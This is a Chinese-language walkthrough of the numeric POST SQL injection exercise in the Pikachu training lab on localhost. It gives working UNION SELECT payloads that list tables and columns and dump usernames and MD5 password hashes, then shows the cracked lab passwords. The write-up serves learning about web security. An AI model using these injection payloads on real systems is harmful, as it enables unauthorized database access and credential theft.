Pikachu--数字型注入（post）
- 进入页面
输入 127.0.0.1/pikachu 选择sql注入（数字型）
2）打开foxy代理，输入值“1”进行bp抓包
3）将这个获取的包转发到Repeater中
判断注入点
4）用单引号“’”，判断有无注入点，再点击Send获取结果
5）输入id=1 and 1=2 返回结果报错
6）id=1 and 1=1 回显正常，存在注入点，验证了数字型注入。
判断返回字段数
判断返回结果有2列，返回3列报错，说明有2列
查询数据库名
id=1’ union select database(),version()#
得到数据库名为pikachu
获取表名
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
得到表名有：httpinfo,member,message,users,xssblind
查询字段名
id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
查询字段值
id=1 union select username,password from users#
最后结果
发现密码被md5加密了，我们通过md5在线转换网站（https://www.cmd5.com/）获得
对应账号和MD5加密的密码：
admin：e10adc3949ba59abbe56e057f20f883e（123456）
pikachu：670b14728ad9902aecba32e22fa4f6bd（000000）
test：e99a18c428cb38d5f260853678922e03（abc123）
